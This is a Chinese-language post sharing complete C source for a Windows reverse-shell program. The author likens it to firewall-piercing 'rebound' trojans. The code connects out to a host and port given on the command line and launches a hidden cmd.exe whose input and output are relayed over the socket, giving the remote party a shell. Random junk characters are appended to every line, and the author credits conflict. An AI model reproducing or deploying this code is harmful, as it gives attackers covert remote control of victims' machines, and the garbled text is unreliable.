这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 V|Smk;G
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/* ============================== <a; <|Fm.
Rebound port in Windows NT h",kA(+P
By wind,2006/7 ><+wH b
===============================*/ S U04q+
#include n1X 7T0'
#include }<m9w\pA
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#pragma comment(lib,"wsock32.lib") cE'MSB
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void OutputShell(); v="i0lL_
SOCKET sClient; !c/G'se
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; s'RE~,
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void main(int argc,char **argv) "6o}g.
{ <;G.(CK@n
WSADATA stWsaData; Q#i[Y?$L
int nRet; DHQavHqbZ
SOCKADDR_IN stSaiClient,stSaiServer; ly9.2<oz}L
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if(argc != 3) [7oU =
{ )cxLpTr
printf("Useage:\n\rRebound DestIP DestPort\n"); K_;'-B
return; ]y:2OP
} +/E`u|%|\]
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WSAStartup(MAKEWORD(2,2),&stWsaData); 0e-M 24,C
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j&~`H:=E
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stSaiClient.sin_family = AF_INET; [,JUC<
stSaiClient.sin_port = htons(0); 8`M) r'5
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 2NB/&60<
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8iQ8s;@S&>
{ jOV,q%)^,:
printf("Bind Socket Failed!\n"); EdR1W~JZ
return; KPTp91
} xY v@
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stSaiServer.sin_family = AF_INET; 4Qwv:4La
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); r2"B" %;
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); UaG
})
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :%!`R72
{ 6ZKSet8
printf("Connect Error!"); 2"~|k_
return; 4;_aFn
} vf^`'
OutputShell(); xO3-I@
} l7vU{Fd-h^
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void OutputShell() ,X^I]]
{ xYSNop3_
char szBuff[1024]; _=$:<wIE[
SECURITY_ATTRIBUTES stSecurityAttributes; , !0-;H.Y
OSVERSIONINFO stOsversionInfo; x`9IQQ
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @,kR<1
STARTUPINFO stStartupInfo; o>~xrV`E
char *szShell; m}`!FaB #
PROCESS_INFORMATION stProcessInformation; nz+k ,
unsigned long lBytesRead; U}hQVpP#
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); T3H\KRe6
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); tg5G`P5PJ
stSecurityAttributes.lpSecurityDescriptor = 0; ~IQ3B$4H&
stSecurityAttributes.bInheritHandle = TRUE; {XR3L'X
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); zw,( kv
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Xlg0u.
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); NRIp@PIF:"
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z@f4=
stStartupInfo.wShowWindow = SW_HIDE; ,]FcWx
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stStartupInfo.hStdInput = hReadPipe; U?/C>g%/PI
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )b\89F
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GetVersionEx(&stOsversionInfo); hsCts@R
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switch(stOsversionInfo.dwPlatformId) Wks?9)Is
{ LKX; ^
case 1: 5-[bd I
szShell = "command.com"; >oYr=O
break; fC|NK+Xd`
default: m0M;f+^
szShell = "cmd.exe"; ais@|s;
break; crvq]J5
} <?h,;]U
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $- 4 Zi
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send(sClient,szMsg,77,0); e]5
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while(1) E=3UaYr
{ %Bxp
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); J!+)v
if(lBytesRead) 'cgB$:T}.,
{ T#OrsJdu
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <4Ev3z*;Z
send(sClient,szBuff,lBytesRead,0); `514HgR
} OK8|w]-A
else =hAH6C
{ fY|P+{BO2
lBytesRead=recv(sClient,szBuff,1024,0); VV'*3/I
if(lBytesRead<=0) break; e<Bwduy
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); og$%`o:{
} jXH?os%
} 1^v?Ly8
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return; K+P:g%M
}